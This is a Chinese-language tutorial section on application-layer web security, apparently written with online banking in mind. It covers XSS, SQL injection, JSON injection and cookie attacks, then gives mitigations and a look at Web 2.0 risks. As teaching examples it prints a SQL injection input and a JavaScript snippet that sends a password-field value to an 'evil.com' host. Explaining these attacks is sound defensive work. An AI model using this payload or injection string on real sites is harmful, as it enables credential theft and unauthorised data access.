三、应用层安全隐患及方案
除了网络和传输层攻击外,还有很大一部分来自应用层的攻击,而这一层的攻击往往被人忽视。2006年Gartner报告中显示,75%的攻击来自应用层攻击,可见其重要程度。
1) 应用安全隐患——十大安全隐患
上图是应用层的10大攻击类型,包括跨站的攻击等。下面对其中几个进行进一步的说明分析。
1. 跨站点脚本执行
跨站的脚本攻击是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一。XSS是针对特殊Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。
跨站的脚本攻击危害很大,是最大的安全隐患之一,如下:
·从你正在浏览的域中偷到你的信息
·完全修改你所看到的页面内容
·从现在开始,跟踪你在浏览器中的每一个动作
·把你重定向到一个恶意的站点
·利用浏览器脆弱点控制你的机器
·…
2. 注入缺陷
什么是注入缺陷? 注入缺陷指的是用户提供的数据被当做命令或者查询的一部分,送到应用后端的解释器中。
·SQL注入
当用户输入的数据被放到SQL语句中,如基于id获取产品的详细信息:
Select * from products where id=‘+myid+’;
而黑客,输入参数时:
‘ or ’‘= ’
结果和执行下面的SQL一样:
Select * from products
·JSON注入:
许多通道都可以交换JSON消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用XMLHttpRequest。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用JSON与<script>标记相结合的方法,如清单1所示。
清单1.JSON例子
<script type=“text/javascript” src=“http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary” />
·Cookie攻击
清单2.攻击示例:从文本字段中窃取密码
function stealpw(){
var pw = document.getElementById(“password”).value;
document.images[0].src=“http://evil.com/imgs/stealpw?pw=” + pw;
}
document.getElementById(“button”).onclick = stealpw;
2) 解决方案
1. 不要动态地生成和执行代码
可以使用若干种方法在JavaScript程序中动态地生成代码,最著名的函数之一就是eval()函数,该函数允许您将任意字符串做为JavaScript代码执行
然而,肆无忌惮地使用该函数是非常危险的,尽量不要在JavaScript中直接使用 eval()函数。
2. 保障JSON的使用安全
JSON是以JavaScript的一个子集为基础,所以脚本内容会潜在地包含恶意代码。
然而,JSON是JavaScript的一个安全的子集,许多JavaScript库使用eval()函数将JSON转换成JavaScript对象。
攻击者可以向这些库发送畸形的JSON对象,这样eval()函数就会执行这些恶意代码。
可以采取一些方法来保护JSON的使用。第一个方法是使用RFC 4627中所定义的正则表达式确保JSON数据中不包含活动的部分。清单3演示了如何使用正则表达式检查JSON字符串。
清单3. 使用正则表达式检查JSON字符
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/“(\\.|[^”\\])*“/g, ‘ ’))) && eval(‘(’ + text + ‘)’);
另一种更具安全性的方法是使用JSON解析器对JSON进行解析。由于JSON的语法相当简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。
3. 使用Web应用安全诊断工具
安全审计人员/QA工程师/测试人员/开发人员,为了简化发现和修复Web应用安全问题的过程,会扫描Web应用、发现安全漏洞、提出修改建议、形成多种报告。
4. 在应用层使用基于白名单/黑名单的工具
过滤请求和回复的消息,根据白名单/黑名单对请求进行过滤。
3) Web2.0和安全
网上银行逐渐使用Web2.0技术,下面从几个方面分析Web2.0对网上银行的安全影响。
Web2.0对于安全的影响
- Web 1.0的一些问题得到放大,所有人都成为贡献者让输入合法性验证变得更加棘手。
- Mashup/AJAX 相关问题:对于同一Mashup页面中,DOM的访问没有限制会导致可能的同源问题;
-浏览器端的一些框架不可靠。
Web 2.0的模式和技术还是基于现有的Web技术
- 所以Web1.0的安全问题同样存在,同样相应的办法也同样适用。
Web 2.0通常使用AJAX技术
- AJAX在大部分浏览器上都是默认支持的,所以在应用中不适用AJAX并不能让应用更加安全。
- 如果新的REST服务被引入AJAX的应用中,那么这些REST服务需要被合理的进行安全控制。
Web2.0的应用并没有引入导致安全挑战的新技术,所以安全问题还是依赖具体的应用情况而没有一个通用的解决办法。